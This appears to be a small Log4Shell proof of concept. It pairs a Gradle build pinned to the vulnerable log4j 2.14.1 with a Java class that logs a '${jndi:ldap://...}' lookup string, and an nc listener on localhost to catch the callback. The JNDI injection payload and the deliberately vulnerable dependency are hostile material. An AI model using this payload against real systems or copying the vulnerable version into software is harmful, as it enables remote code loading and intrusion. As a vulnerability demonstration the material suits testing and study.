log4j poc

build.gradle

plugins {
	id "java-library"
	id "application"
}

repositories {
	mavenCentral()
}

dependencies {
	implementation "org.apache.logging.log4j:log4j-api:2.14.1" 
	implementation "org.apache.logging.log4j:log4j-core:2.14.1"
}

application {
	mainClass = "main.Main"
}

Main.java

// place this in src/main/java
package main;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
	public static void main(String[] args) {
		Logger log = LogManager.getLogger();
		log.error("Test {}", "${jndi:ldap://127.0.0.1:8080/log4j-vuln}");
	}
}

main.sh

#!/bin/sh
gradle run

nc.sh

#!/bin/sh
nc -kl 127.0.0.1 8080